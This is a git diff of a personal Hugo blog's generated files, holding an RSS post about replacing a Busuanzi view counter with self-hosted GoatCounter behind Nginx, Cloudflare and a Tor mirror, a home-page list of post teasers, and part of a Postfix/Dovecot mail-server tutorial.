\ No newline at end of file diff --git a/public-clearnet/categories/stories/index.xml b/public-clearnet/categories/stories/index.xml new file mode 100644 index 0000000..bb69050 --- /dev/null +++ b/public-clearnet/categories/stories/index.xml @@ -0,0 +1,336 @@ +Stories on AlipourIm journeyshttps://blog.alipour.eu/categories/stories/Recent content in Stories on AlipourIm journeysHugo -- 0.146.0enSat, 18 Oct 2025 10:45:00 +0000A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

+

The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

+ +

First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

+
<div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
+  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
+     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
+    { partial "svg.html" (dict "name" "rss") }
+    <span>RSS</span>
+  </a>
+
+  <span aria-hidden="true">·</span>
+
+  <span id="busuanzi_container_site_pv">
+    Site views: <span id="busuanzi_value_site_pv">—</span>
+  </span>
+  <span aria-hidden="true">·</span>
+  <span id="busuanzi_container_site_uv">
+    Visitors: <span id="busuanzi_value_site_uv">—</span>
+  </span>
+</div>
+

So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

+

The first round of checks

+

I added the script site‑wide in layouts/partials/extend_head.html:

+
<script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
+

Refreshed. Still blank.

+

DevTools time. Network tab: the script does load:

+
    +
  • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
  • +
  • Request Method: GET
  • +
  • Status Code: 304 Not Modified
  • +
  • Referrer Policy: strict-origin-when-cross-origin
  • +
  • User-Agent: a normal Chromium build (nothing exotic)
  • +
+

No red flags. Just a perfectly normal 304.

+

Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

+

The odd message

+

Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

+
+

“域名过长,已被禁用 views”

+

That’s “domain name too long, disabled.” Wait, what?

+

I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

+

Two ways out

+

At this point I had two clean options:

+
    +
  1. Keep Busuanzi and move the site to the apex domain (short enough).
  2. +
  3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
  4. +
+

I liked the subdomain (habit, mostly), so I tried Vercount.

+

The swap (five-minute fix)

+

I removed the Busuanzi script and added Vercount instead:

+
<!-- extend_head.html -->
+<script defer src="https://events.vercount.one/js"></script>
+

I kept the same tidy footer row, but switched the IDs to Vercount’s:

+
<div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
+  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
+     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
+    { partial "svg.html" (dict "name" "rss") }
+    <span>RSS</span>
+  </a>
+
+  <span aria-hidden="true">·</span>
+
+  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
+  <span aria-hidden="true">·</span>
+  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
+</div>
+

For per‑post counts (in the post meta), I added:

+
<span id="vercount_value_page_pv">—</span> views
+

Deploy. Refresh. Numbers.

+

But if you want to stay with Busuanzi…

+

If your apex domain is short enough, pointing the site there works fine. The gist:

+
    +
  • +

    Set baseURL in Hugo to the apex:

    +
    baseURL = "https://alipourimjourneys.ir/"
    +
  • +
  • +

    Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

    +
  • +
  • +

    Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

    +
  • +
+

Post‑mortem checklist (a.k.a. things I learned)

+
    +
  • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
  • +
  • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
  • +
  • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
  • +
  • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
  • +
+

Happy ending

+

Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

+

If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

+

Final notes

+

Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

+
+

Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

+

This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

+
+

1) Clean up old counters (optional, once)

+
# From your Hugo site root
+grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
+

Remove any matching <script> and leftover *_value_* spans you no longer want.

+
+

2) Run GoatCounter with Docker Compose

+

Minimal docker-compose.yml in ~/goatcounter:

+
services:
+  goatcounter:
+    image: arp242/goatcounter:2.6
+    container_name: goatcounter
+    ports:
+      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
+    volumes:
+      - goatcounter-data:/home/goatcounter/goatcounter-data
+    restart: unless-stopped
+
+volumes:
+  goatcounter-data: {}
+

Start:

+
docker compose pull && docker compose up -d
+

Initialize the site (replace email if needed):

+
docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
+
+

If you ever see “no site at this domain” on localhost: use the exact vhost above.

+
+

3) Cloudflare + Origin certificate (CF → origin TLS)

+
    +
  • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
  • +
  • SSL/TLS mode: Full (strict).
  • +
  • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
  • +
+
sudo mkdir -p /etc/ssl/cloudflare
+sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
+sudo nano /etc/ssl/cloudflare/origin.key   # paste key
+sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
+sudo chmod 644 /etc/ssl/cloudflare/origin.crt
+sudo chmod 600 /etc/ssl/cloudflare/origin.key
+

+

4) Nginx vhost for the stats subdomain

+
# /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
+server {
+  listen 80;
+  server_name statsblog.alipourimjourneys.ir;
+  return 301 https://$host$request_uri;
+}
+
+server {
+  listen 443 ssl http2;
+  server_name statsblog.alipourimjourneys.ir;
+
+  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
+  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
+
+  # Proxy to the container on localhost
+  proxy_set_header Host              $host;
+  proxy_set_header X-Real-IP         $remote_addr;
+  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
+  proxy_set_header X-Forwarded-Proto $scheme;
+
+  location / { proxy_pass http://127.0.0.1:8081; }
+}
+

Enable & reload:

+
sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
+sudo nginx -t && sudo systemctl reload nginx
+

+

5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

+

Self‑host count.js so the onion mirror never fetches a third‑party script:

+
    +
  • Save the official count.js as static/js/count.js in your Hugo repo.
  • +
+

Then add this to layouts/partials/extend_head.html (loader + helper):

+
<!-- Loader: choose endpoint based on hostname -->
+<script>
+(function () {
+  var ONION = /\.onion$/i.test(location.hostname);
+  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
+  var s = document.createElement('script');
+  s.async = true; s.src = '/js/count.js';
+  document.head.appendChild(s);
+})();
+</script>
+
+<!-- Helper: inline meta counts (post pages + lists) and totals -->
+<script>
+(function () {
+  const ONION = /\.onion$/i.test(location.hostname);
+  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
+  const SING='view', PLUR='views';
+  const nf = new Intl.NumberFormat();
+
+  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
+  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
+  async function fetchCount(path){
+    try {
+      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
+      if (r.status === 404) return 0;
+      if (!r.ok) throw 0;
+      const j = await r.json();
+      const n = Number(String(j.count).replace(/,/g,''));
+      return Number.isFinite(n) ? n : 0;
+    } catch { return null; }
+  }
+  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
+
+  ready(async function () {
+    // A) Single post: add to existing meta row + small bottom
+    const post = document.querySelector('.post-single');
+    if (post) {
+      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
+      const path = gcPath();
+      const n = await fetchCount(path);
+      if (meta) {
+        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
+        span.textContent = label(n ?? 0);
+      }
+      const after = post.querySelector('.post-content') || post;
+      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
+      bottom.textContent = label(n ?? 0);
+    }
+
+    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
+    const cards = document.querySelectorAll('article.post-entry');
+    await Promise.all(Array.from(cards).map(async (card) => {
+      const meta = card.querySelector('.entry-footer, .post-meta');
+      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
+      if (!meta || !link) return;
+      try {
+        const u = new URL(link.getAttribute('href'), location.origin);
+        if (u.origin !== location.origin) return;
+        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
+        const n = await fetchCount(u.pathname);
+        span.textContent = label(n ?? 0);
+      } catch {}
+    }));
+
+    // C) Site totals (optional placeholders)
+    const pvEl = document.getElementById('vercount_value_site_pv');
+    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
+  });
+})();
+</script>
+

Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

+
.post-single .post-header .post-meta,
+.post-single .post-header .entry-meta,
+.post-entry .entry-footer,
+.post-entry .post-meta {
+  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
+}
+.post-single .post-header .post-meta > *,
+.post-single .post-header .entry-meta > *,
+.post-entry .entry-footer > *,
+.post-entry .post-meta > * {
+  display:inline-flex; align-items:center; white-space:nowrap;
+}
+.post-single .post-header .post-meta > * + *::before,
+.post-single .post-header .entry-meta > * + *::before,
+.post-entry .entry-footer > * + *::before,
+.post-entry .post-meta > * + *::before {
+  content:"·"; margin:0 .5rem; opacity:.6;
+}
+.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
+

+

6) Count Tor (.onion) visits into the same site

+

In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

+
# inside: server { ... } for fjthpp2h3mj2r....onion
+
+location = /count {
+  proxy_pass http://127.0.0.1:8081/count;
+  proxy_set_header Host statsblog.alipourimjourneys.ir;
+  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+  proxy_set_header X-Forwarded-Proto http; # onion is http
+}
+
+location /counter/ {
+  proxy_pass http://127.0.0.1:8081/counter/;
+  proxy_set_header Host statsblog.alipourimjourneys.ir;
+  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+  proxy_set_header X-Forwarded-Proto http;
+  add_header Cache-Control "no-store";
+  proxy_no_cache 1; proxy_cache_bypass 1;
+}
+

Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

+
+

Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

+
+

7) Troubleshooting quick notes

+
    +
  • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
  • +
  • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
    docker compose logs -f goatcounter
    +# look for “ignored: bot” (curl UA), or DNT being respected
    +
  • +
  • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
  • +
+

That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

+

Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
+jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
+DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
+z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
+sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
+X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
+cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
+fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
+m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
+gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
+dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
+=o387
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
+curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
+gpg --verify view_count.md.asc view_count.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/stories/page/1/index.html b/public-clearnet/categories/stories/page/1/index.html new file mode 100644 index 0000000..2642d71 --- /dev/null +++ b/public-clearnet/categories/stories/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/stories/ + \ No newline at end of file diff --git a/public-clearnet/favicon-16x16.png b/public-clearnet/favicon-16x16.png new file mode 100644 index 0000000..c1da4fd Binary files /dev/null and b/public-clearnet/favicon-16x16.png differ diff --git a/public-clearnet/favicon-32x32.png b/public-clearnet/favicon-32x32.png new file mode 100644 index 0000000..9fee996 Binary files /dev/null and b/public-clearnet/favicon-32x32.png differ diff --git a/public-clearnet/favicon.ico b/public-clearnet/favicon.ico new file mode 100644 index 0000000..a5c24e3 Binary files /dev/null and b/public-clearnet/favicon.ico differ diff --git a/public-clearnet/images/hedgedoc-cover.png b/public-clearnet/images/hedgedoc-cover.png new file mode 100644 index 0000000..4ee35d2 Binary files /dev/null and b/public-clearnet/images/hedgedoc-cover.png differ diff --git a/public-clearnet/images/inet/inet_animation_collage.jpg b/public-clearnet/images/inet/inet_animation_collage.jpg new file mode 100644 index 0000000..f5bc7c5 Binary files /dev/null and b/public-clearnet/images/inet/inet_animation_collage.jpg differ diff --git a/public-clearnet/images/inet/inet_hardware_collage.jpg b/public-clearnet/images/inet/inet_hardware_collage.jpg new file mode 100644 index 0000000..5235a50 Binary files /dev/null and b/public-clearnet/images/inet/inet_hardware_collage.jpg differ diff --git a/public-clearnet/images/inet/inet_logo_fusion_merged.png b/public-clearnet/images/inet/inet_logo_fusion_merged.png new file mode 100644 index 0000000..a1ffbd4 Binary files /dev/null and b/public-clearnet/images/inet/inet_logo_fusion_merged.png differ diff --git a/public-clearnet/images/inet/inet_ui_collage.jpg b/public-clearnet/images/inet/inet_ui_collage.jpg new file mode 100644 index 0000000..7814ddf Binary files /dev/null and b/public-clearnet/images/inet/inet_ui_collage.jpg differ diff --git a/public-clearnet/images/matrix-cover.png b/public-clearnet/images/matrix-cover.png new file mode 100644 index 0000000..88f4702 Binary files /dev/null and b/public-clearnet/images/matrix-cover.png differ diff --git a/public-clearnet/index.html b/public-clearnet/index.html new file mode 100644 index 0000000..ecc9992 --- /dev/null +++ b/public-clearnet/index.html @@ -0,0 +1,37 @@ +AlipourIm journeys +

Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

July 24, 2026 · 17 min · Iman Alipour +

June 2026

Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. Let me summerize these past many months: +I finished my coursework for my prep phase I was added to a colleagues project and we submited it to IMC I submitted a poster to TMA, and I will be present it at the end of this month (June) I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. Downloads: Markdown · Signature (.asc) ...

June 23, 2026 · 1 min · Iman Alipour +

A TU Wien CTF where Sysops Klaus left the keys in the cron job

LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

June 5, 2026 · 10 min · Iman Alipour +

April '26

I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months. +Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together. +I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately. +...

May 3, 2026 · 2 min · Iman Alipour +

H3ll0 Fr1end

Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well. +...

May 2, 2026 · 3 min · Iman Alipour +

Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

February 2, 2026 · 6 min · Iman Alipour +

Blackout

Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again. +...

January 26, 2026 · 8 min · Iman Alipour +

2025 Highlight

I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work. +...

January 5, 2026 · 3 min · Iman Alipour +

Seeing the "Light"

I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now. +Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D +I could not land myself any shifts before 1600, so I have to sit around and wait, and blog. +...

December 25, 2025 · 2 min · Iman Alipour +

Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

December 21, 2025 · 9 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/index.json b/public-clearnet/index.json new file mode 100644 index 0000000..74f66a7 --- /dev/null +++ b/public-clearnet/index.json @@ -0,0 +1 @@ +[{"content":" If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.\nI wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)\nBy the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.\nWhy I bothered Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.\nI also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.\nHow email actually moves Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.\nPostfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).\nWhen you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.\nDovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.\nOpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.\nThen there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.\nOnce you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.\nThe shape of my setup On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.\nNginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.\nPort 25 is for servers; port 587 is for people This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.\nPort 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.\nPort 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.\nI also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.\nWhat an “open relay” is, and why localhost lies to you An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.\nHere’s the trick that wastes afternoons: testing from 127.0.0.1.\nPostfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.\nSo I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.\nKindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”\nDNS, but make it human The forward map (name → number) You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.\nI put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.\nWhy Cloudflare’s orange cloud is not invited Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That 